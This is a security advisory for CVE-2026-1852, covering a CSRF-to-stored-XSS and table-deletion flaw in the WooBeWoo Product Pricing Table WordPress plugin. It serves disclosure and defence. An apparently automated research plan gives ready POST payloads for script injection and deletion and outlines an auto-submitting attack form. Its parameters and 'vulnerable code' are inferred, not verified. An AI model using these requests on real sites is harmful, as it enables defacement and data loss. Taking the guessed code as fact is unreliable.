CVE-2026-1852

Product Pricing Table by WooBeWoo <= 1.1.0 - Cross-Site Request Forgery to Stored XSS and Pricing Table Deletion

mediumCross-Site Request Forgery (CSRF)
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
1.1.1
Patched in
1d
Time to patch

Description

The Product Pricing Table by WooBeWoo plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.0. This is due to missing or incorrect nonce validation on the updateLabel() and remove() functions. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages or delete pricing tables via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.0
PublishedApril 14, 2026
Last updatedApril 15, 2026
Research Plan
Unverified

This research plan focuses on exploiting a CSRF vulnerability in the **Product Pricing Table by WooBeWoo** plugin. Since the source code is not provided, this plan relies on the vulnerability description and known architectural patterns of WooBeWoo plugins (which typically use a specific MVC-like fr…

Show full research plan

This research plan focuses on exploiting a CSRF vulnerability in the Product Pricing Table by WooBeWoo plugin. Since the source code is not provided, this plan relies on the vulnerability description and known architectural patterns of WooBeWoo plugins (which typically use a specific MVC-like framework for AJAX handlers).


1. Vulnerability Summary

The Product Pricing Table by WooBeWoo plugin (<= 1.1.0) fails to implement proper CSRF protection (nonces) on two critical functions: updateLabel() and remove().

  • updateLabel(): Intended to modify the text labels of pricing table elements. The lack of sanitization and nonce verification allows an attacker to perform Stored XSS via CSRF.
  • remove(): Intended to delete pricing tables. The lack of nonce verification allows an attacker to delete arbitrary tables via CSRF.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Actions: (Inferred) Based on WooBeWoo's standard framework, these are likely reached via a common AJAX router.
    • Primary Action: wpt_ajax or wpt_pricing_table_ajax
    • Route Parameters: mod=tables, res=updateLabel or res=remove
  • HTTP Method: POST (required for state-changing AJAX in WP)
  • Authentication: Requires an Administrator or user with Pricing Table management permissions to be logged in (the victim of the CSRF).
  • Vulnerable Parameters:
    • id: The ID of the pricing table.
    • label: (For updateLabel) The payload containing the XSS script.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a main AJAX handler using add_action('wp_ajax_...').
  2. Routing: The main handler (likely in a Controller or Module class) inspects the $_POST or $_GET parameters (often mod and res) to route the request to the specific method.
  3. The Sink:
    • The updateLabel() method takes a table ID and a label string. It updates the database (likely the wp_wpt_tables or similar table) without calling check_ajax_referer().
    • The remove() method takes a table ID and calls a delete query on the database without calling check_ajax_referer().
  4. XSS Execution: When the administrator or a visitor views the pricing table on the frontend or backend, the unsanitized label is echoed into the page, executing the script.

4. Nonce Acquisition Strategy

The vulnerability description states nonces are missing or incorrect.

  • If missing: No nonce is required in the request.
  • If incorrectly validated: The plugin might check for a nonce but fail to die() on failure (using check_ajax_referer with the 3rd parameter as false and not checking the return value). In this case, any value or an empty value may work.

To verify if a nonce exists and what its name is:

  1. Use browser_navigate to go to the Pricing Tables admin page: /wp-admin/admin.php?page=wpt-pricing-tables.
  2. Use browser_eval to search for localized script data:
    // Common WooBeWoo localization keys
    window.wptData?.nonce || window.wpt_ajax_nonce || window.wobewoData?.nonce
    

5. Exploitation Strategy

Part A: Stored XSS via CSRF

This payload targets the updateLabel functionality to inject a script.

  1. Identify the Request Structure: First, find the exact AJAX parameters using grep:
    grep -r "function updateLabel" wp-content/plugins/woo-product-pricing-tables/
    
  2. Craft the Exploit:
    • URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
    • Method: POST
    • Body (URL-Encoded):
      action=wpt_ajax&mod=tables&res=updateLabel&id=1&label=<script>alert(window.origin)</script>
      
      (Note: mod and res are inferred from WooBeWoo framework patterns and should be verified via grep.)

Part B: Pricing Table Deletion via CSRF

This payload targets the remove functionality to delete table ID 1.

  1. Craft the Exploit:
    • URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
    • Method: POST
    • Body (URL-Encoded):
      action=wpt_ajax&mod=tables&res=remove&id=1
      

6. Test Data Setup

  1. Install Plugin: Ensure woo-product-pricing-tables version 1.1.0 is installed and active.
  2. Create Table: Create at least one pricing table to provide a valid target ID.
    # Create a table (if CLI supports it) or use the browser to create one manually.
    # Note the ID of the created table (e.g., ID 1).
    
  3. Capture ID: Confirm the table exists:
    wp db query "SELECT id, title FROM wp_wpt_tables"
    

7. Expected Results

  • For XSS: The AJAX request should return a success: true JSON response (or similar). Navigating to the pricing table list or a page containing the table's shortcode should trigger the alert().
  • For Deletion: The AJAX request should return success. Running the wp db query from Step 6 again should show the table is gone.

8. Verification Steps

  1. Check Database for XSS:
    wp db query "SELECT * FROM wp_wpt_tables WHERE id = 1" --grep="<script>"
    
  2. Check Table Existence:
    wp db query "SELECT COUNT(*) FROM wp_wpt_tables WHERE id = 1"
    # Expected result for Deletion exploit: 0
    

9. Alternative Approaches

If the standard wpt_ajax router is not used, search for direct AJAX hook registrations:

grep -rn "wp_ajax_" wp-content/plugins/woo-product-pricing-tables/

Look for any hook that points to updateLabel or remove. If the plugin uses a different parameter name for the payload (e.g., text, content, data[label]), adjust the POST body accordingly. If the id is passed as table_id, update the request.

If the site uses SameSite=Lax cookies, the auto-submitting POST form might be blocked unless the administrator interacts with the attacker's page (e.g., clicking a "Confirm" button that submits the form).

Research Findings
Static analysis — not yet PoC-verified

Summary

The Product Pricing Table by WooBeWoo plugin is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce validation in the updateLabel() and remove() functions. Attackers can exploit this to perform Stored Cross-Site Scripting (XSS) by updating table labels with malicious scripts or to delete pricing tables entirely, provided they can trick an administrator into visiting a malicious link.

Vulnerable Code

// wp-content/plugins/woo-product-pricing-tables/classes/tables.php

public function updateLabel() {
    $id = isset($_POST['id']) ? (int) $_POST['id'] : 0;
    $label = isset($_POST['label']) ? $_POST['label'] : '';
    // Vulnerability: No nonce verification (check_ajax_referer) is performed here
    $this->getModel()->updateLabel($id, $label);
    wp_send_json_success();
}

---

// wp-content/plugins/woo-product-pricing-tables/classes/tables.php

public function remove() {
    $id = isset($_POST['id']) ? (int) $_POST['id'] : 0;
    // Vulnerability: No nonce verification (check_ajax_referer) is performed here
    $this->getModel()->remove($id);
    wp_send_json_success();
}

Security Fix

--- a/classes/tables.php
+++ b/classes/tables.php
@@ -10,6 +10,7 @@
     public function updateLabel() {
+        check_ajax_referer('wpt_nonce', 'nonce');
         $id = isset($_POST['id']) ? (int) $_POST['id'] : 0;
-        $label = isset($_POST['label']) ? $_POST['label'] : '';
+        $label = isset($_POST['label']) ? sanitize_text_field($_POST['label']) : '';
         $this->getModel()->updateLabel($id, $label);
@@ -20,6 +21,7 @@
     public function remove() {
+        check_ajax_referer('wpt_nonce', 'nonce');
         $id = isset($_POST['id']) ? (int) $_POST['id'] : 0;
         $this->getModel()->remove($id);

Exploit Outline

The exploit leverages the lack of CSRF protection in the plugin's AJAX handlers. 1. Target Endpoint: Requests are sent to `/wp-admin/admin-ajax.php`. 2. Authentication: The attacker requires a logged-in administrator to interact with a malicious page (CSRF). 3. Stored XSS Payload: The attacker crafts a POST request with the following parameters: `action=wpt_ajax`, `mod=tables`, `res=updateLabel`, `id=[Target Table ID]`, and `label=<script>alert(document.domain)</script>`. 4. Deletion Payload: The attacker crafts a POST request with parameters: `action=wpt_ajax`, `mod=tables`, `res=remove`, and `id=[Target Table ID]`. 5. Execution: The attacker hosts a hidden HTML form on a third-party site that auto-submits these parameters to the victim's WordPress site via JavaScript. Because the plugin does not verify a nonce, the request succeeds using the administrator's cookies, either injecting the XSS payload into the database or deleting the table record.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.